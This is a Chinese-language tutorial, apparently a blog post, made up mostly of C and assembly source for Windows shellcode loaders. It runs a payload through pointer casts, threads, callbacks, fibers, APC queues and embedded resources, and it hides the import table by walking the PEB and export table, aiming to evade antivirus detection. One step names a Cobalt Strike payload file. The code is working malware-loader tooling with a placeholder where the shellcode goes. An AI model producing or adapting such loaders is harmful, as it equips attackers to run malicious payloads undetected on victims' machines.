改變加載方式
指針執行
#include
#include
int main() {
unsigned char buf[] = "shellcode"; // unsigned表示無符號數
/*
* VirtualAlloc是Windows API
* 參數1:分配的內存的起始地址,如果為NULL則由系統決定
* 參數2:分配的內存大小,以字節為單位
* 參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交
* 參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀
*/
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指針指向申請的內存
memcpy(p, buf, sizeof(buf)); // 將shellcode寫入內存
/*
* 類型強制轉換:(目標類型)表達式
* (void(*)())p:將p轉換為指向無參數、無返回值的函數指針
* ((void(*)())p)():對函數進行調用
*/
((void(*)())p)(); // 執行shellcode
return 0;
}
匯編執行
#include
#include
// .data段(數據段,存儲靜態變量和全局變量)改為可讀可寫可執行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode"; // 要為全局變量
int main() {
__asm {
lea eax, buf // 這里查看反匯編是lea eax,[buf地址]
call eax
}
return 0;
}
創建線程執行
#include
#include
int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// CopyMemory是Windows API
CopyMemory(p, buf, sizeof(buf)); // 將shellcode寫入內存
/*
* CreateThread是Windows API,用于創建一個新線程
* 參數1:指向 SECURITY_ATTRIBUTES 結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
* 參數2:指定新線程的堆棧大小,0表示默認大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),則會被自動調整為MINIMUM_STACK_SIZE
* 參數3:線程函數指針,必須是靜態函數或全局函數,且返回值為DWORD
* 參數4:傳遞給線程函數的參數指針,可以將任何類型的數據轉換為LPVOID來傳遞參數
* 參數5:0表示創建線程后立刻執行,CREATE_SUSPENDED表示創建線程后立即掛起,等待調用 ResumeThread 才會開始執行
* 參數6:接收新線程 ID 的變量的指針,NULL表示不返回線程ID
*/
// 句柄(Handle)是一種用于標識對象的數據類型,實際上是一個指向內存中數據結構的指針,該數據結構描述了所標識的對象的屬性
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 線程句柄
/*
* 參數1:內核對象的句柄
* 參數2:等待時間的毫秒數,INFINITE(即-1)表示無限等待直到對象進入signaled狀態
*/
WaitForSingleObject(hThread, INFINITE); // 等待新線程執行完畢,不等待可能執行不到
return 0;
}
回調函數執行
#include
#include
int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
/*
* EnumFontsW是Windows API,用于枚舉系統中所有可用字體
* 參數1:設備環境句柄,表示要枚舉哪個設備的字體
* 參數2:NULL表示枚舉所有字體
* 參數3:回調函數指針,用于處理每個枚舉到的字體信息
* 參數4:回調函數參數
*/
EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回調函數
return 0;
}
線程池等待對象回調函數執行
#include
#include
int main() {
unsigned char buf[] = "shellcode";
/*
* VirtualProtect是Windows API,用于修改內存訪問權限
* 參數1:指向內存的指針
* 參數2:內存大小(以字節為單位)
* 參數3:新的訪問權限
* 參數4:用于接收修改前的訪問權限,NULL表示不需要接受(但是會出錯)
*/
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode內存后修改為可讀可寫可執行
/*
* CreateEvent是Windows API,用于創建一個事件對象
* 參數1:安全屬性,NULL表示默認
* 參數2:是否手動復位
* 參數3:TRUE表示事件對象的初始狀態為有信號狀態,否則為無信號狀態
* 參數4:事件名稱,NULL表示不使用名稱
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于創建一個線程池等待對象
* 參數1:回調函數指針
* 參數2:回調函數參數
* 參數3:線程池回調環境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向線程池中添加等待對象
* 參數1:線程池等待對象
* 參數2:要等待的內核對象句柄
* 參數3:等待超時時間,NULL表示無限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件對象執行完畢(狀態變為無信號),事件對象執行會執行回調函數buf
return 0;
}
創建纖程(Fiber)執行
#include
#include
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
ConvertThreadToFiber(NULL); // 將當前線程轉換為纖程(輕量級線程)
/*
* CreateFiber用于創建纖程對象
* 參數1:纖程棧的大小,0表示使用默認值
* 參數2:函數指針
* 參數3:創建纖程的標志位
*/
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
SwitchToFiber(shellcodeFiber); // 切換纖程,執行函數
DeleteFiber(shellcodeFiber); // 刪除纖程對象
return 0;
}
NtTestAlert+APC執行
#include
#include
// 定義的一個函數指針類型pNtTestAlert,函數使用__stdcall調用約定(用于大多數Win32 API函數),函數返回DWORD類型
typedef DWORD(WINAPI* pNtTestAlert)();
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
* GetModuleHandleA用于獲取DLL的句柄
* GetProcAddress用于獲取函數地址
* NtTestAlert函數是內部函數,無法直接通過函數名調用
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
/*
* QueueUserAPC是Windows API,用于將APC函數插入到指定線程的APC隊列中
* 參數1:APC函數指針
* 參數2:指定線程句柄
* 參數3:APC函數參數
* GetCurrentThread是Windows API,返回當前執行的線程的句柄
*/
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
NtTestAlert(); // 該函數會檢查當前線程的APC隊列是否有待執行的異步過程調用,如果有就會立刻執行
return 0;
}
從資源加載執行
源文件->添加->資源->導入->CS生成的.bin文件->資源類型(xxx)
在resource.h查看資源ID(#define IDR_XXX1)
#include
#include
#include "resource.h" // 將資源文件 resource.h 中定義的資源包含到當前文件
int main() {
/*
* FindResource是windows API,用于在資源表中查找指定名稱和類型的資源
* 參數1:模塊句柄,表示要在哪個模塊中查找資源,NULL表示在當前模塊中查找
* 參數2:查找資源的名稱或ID,如果是用ID,則需要使用宏 MAKEINTRESOURCE 將ID轉換為字符串類型
* 參數3:資源類型名稱
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
DWORD Size = SizeofResource(NULL, Res); // Windows API,用于獲取資源大小
HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加載資源
void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, Load, Size);
((void(*)())p)();
return 0;
}
函數替換
VirtualAlloc
GlobalAlloc CoTaskMemAlloc HeapAlloc RtlCreateHeap AllocADsMem ReallocADsMem
回調函數
EnumTimeFormatsA EnumWindows EnumDesktopWindows EnumDateFormatsA EnumChildWindows EnumThreadWindows EnumSystemLocalesA EnumSystemGeoID EnumSystemLanguageGroupsA EnumUILanguagesA EnumSystemCodePagesA EnumDesktopsW EnumSystemCodePagesW
隱藏導入表
獲取DLL函數地址執行
但是導入表會有 loadlibary 和 GetProcAddress
#include
#include
//typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "shellcode";
HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll"); // 加載DLL文件,該函數使用 Unicode 編碼所以要加L表示這是一個寬字符(wchar_t)類型的字符串
//pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
x64完全隱藏導入表
64位,gs:[0x30]指向TEB結構體(包含進程中運行線程的各種信息),TEB+0x60 和 gs:[0x60]都是指向PEB結構體(包含進程信息),PEB+0x18指向PEB_LDR_DATA結構體,PEB_LDR_DATA+0x30指向InInitializationOrderModuleList
VS用64位寫匯編函數(64位不能直接用__asm{}):
視圖->解決方案資源管理器->源文件->添加->新建項->xxx.asm
xxx.asm->屬性->從生成中排除(否)、項類型(自定義生成工具)、命令行(ml64 /Fo (IntDir)%(fileName).obj)
xxx.asm:
.CODE GetInInitializationOrderModuleList PROC mov rax,gs:[60h] ; PEB,這里不能寫0x60 mov rax,[rax+18h] ; PEB_LDR_DATA mov rax,[rax+30h] ; InInitializationOrderModuleList ret ; 這里不能寫retn GetInInitializationOrderModuleList ENDP END
xxx.c:
#include
#include
typedef struct _UNICODE_STRING {
USHORT Length; // 這三個是必有的,用來描述Buffer
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// UNICODE_STRING 相當于 struct _UNICODE_STRING
/*
* 返回64位無符號地址的指針
* 如果是C++,要用extern "C" PVOID64 __stdcall GetPEB();表示函數使用C語言的調用約定(取消函數名稱修飾)
*/
PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
/*
* LIST_ENTRY是實現了雙向鏈表的結構體
* Flink 和 Blink 分別指向下一個、上一個節點
* InInitializationOrderModuleList是一個鏈表,每個節點是LDR_DATA_TABLE_ENTRY結構體(不是C語言結構體)
*/
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 獲取InInitializationOrderModuleList
while (1) {
/*
* x64的LDR_DATA_TABLE_ENTRY結構體偏移量0x38是FullDllName成員,x86是0x24
* 能強制轉換是因為名稱和類型是對應的
*/
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// Buffer指向模塊完整路徑名(KERNEL32.DLL\0)
if (*(FullDllName->Buffer + 12) == '\0') {
// LDR_DATA_TABLE_ENTRY結構體偏移量0x10是DllBase成員,表示模塊的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
/*
* PIMAGE_DOS_HEADER指針是指向 IMAGE_DOS_HEADER 結構體的指針
* IMAGE_DOS_HEADER結構體存儲DOS頭部信息
* DOS頭部信息是文件頭的第一個部分,也就是PE文件起始地址
*/
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 獲取DOS頭
/*
* 64位下,指針是8字節,e_lfanew是DWORD是4字節,所以要用LONG64
* NT頭指針可以獲取PE文件各種信息
*/
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT頭
/*
* PIMAGE_EXPORT_DIRECTORY是導出表指針
* OptionalHeader字段中的DataDirectory數組的第0個元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直觀)的VirtualAddress字段為導出表的位置
*/
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 獲取導出表
/*
* 導出表的AddressOfFunctions字段包含一個指針數組,數組的每個元素都是導出函數的RVA(相對虛擬地址)
* 函數的地址為ULONG,所以用PULONG指針
*/
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 獲取導出函數地址RVA數組地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 獲取導出函數名RVA數組地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 獲取導出函數序號數組地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍歷函數
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 當前函數地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 當前函數名地址
/*
* const char*為字符串指針
* strcmp的參數就是兩個字符串指針,比較內容
*/
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "x64shellcode";
HMODULE hKernal32 = getKernel32Address(); // 獲取Kernel32
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 獲取GetProcAddress地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
x86完全隱藏導入表
32位,fs:[0x0]指向TEB結構體,fs:[0x30]指向PEB結構體,PEB+0x0c指向PEB_LDR_DATA結構體,PEB_LDR_DATA+0x0c指向InLoadOrderModuleList
xxx.cpp:
新增了 LDR_DATA_TABLE_ENTRY 結構體,重新寫了getKernel32Address函數,去掉xxx.asm
#include
#include
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY // 新增 LDR_DATA_TABLE_ENTRY 結構體
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
HMODULE getKernel32Address() { // 重新寫的函數
LDR_DATA_TABLE_ENTRY* pPLD = NULL;
char szKernel32[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; //Unicode字符所以要跟0,最后一個是\0
__asm {
mov eax, fs: [0x30] // PEB
mov eax, [eax + 0x0C] // PEB_LDR_DATA
mov eax, [eax + 0x0C] // InLoadOrderModuleList
mov pPLD, eax
}
while (1) {
if (!strcmp(pPLD->BaseDllName.Buffer, szKernel32)) { // 當前模塊名為KERNEL32.DLL\0
return (HMODULE)pPLD->DllBase;
}
pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; // 下一個LDR_DATA_TABLE_ENTRY結構體
}
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
/*
* PIMAGE_DOS_HEADER指針是指向 IMAGE_DOS_HEADER 結構體的指針
* IMAGE_DOS_HEADER結構體存儲DOS頭部信息
* DOS頭部信息是文件頭的第一個部分,也就是PE文件起始地址
*/
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 獲取DOS頭
/*
* 64位下,指針是8字節,e_lfanew是DWORD是4字節,所以要用LONG64
* NT頭指針可以獲取PE文件各種信息
*/
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT頭
/*
* PIMAGE_EXPORT_DIRECTORY是導出表指針
* OptionalHeader字段中的DataDirectory數組的第0個元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直觀)的VirtualAddress字段為導出表的位置
*/
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 獲取導出表
/*
* 導出表的AddressOfFunctions字段包含一個指針數組,數組的每個元素都是導出函數的RVA(相對虛擬地址)
* 函數的地址為ULONG,所以用PULONG指針
*/
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 獲取導出函數地址RVA數組地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 獲取導出函數名RVA數組地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 獲取導出函數序號數組地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍歷函數
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 當前函數地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 當前函數名地址
/*
* const char*為字符串指針
* strcmp的參數就是兩個字符串指針,比較內容
*/
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
unsigned char buf[] = "x86shellcode";
HMODULE hKernal32 = getKernel32Address(); // 獲取Kernel32
pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 獲取GetProcAddress地址
pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
合天網安實驗室
0x00實驗室
雷石安全實驗室
看雪學苑
看雪學苑
重生信息安全
合天網安實驗室
看雪學苑
看雪學苑
看雪學苑
安全圈
一顆小胡椒
一顆小胡椒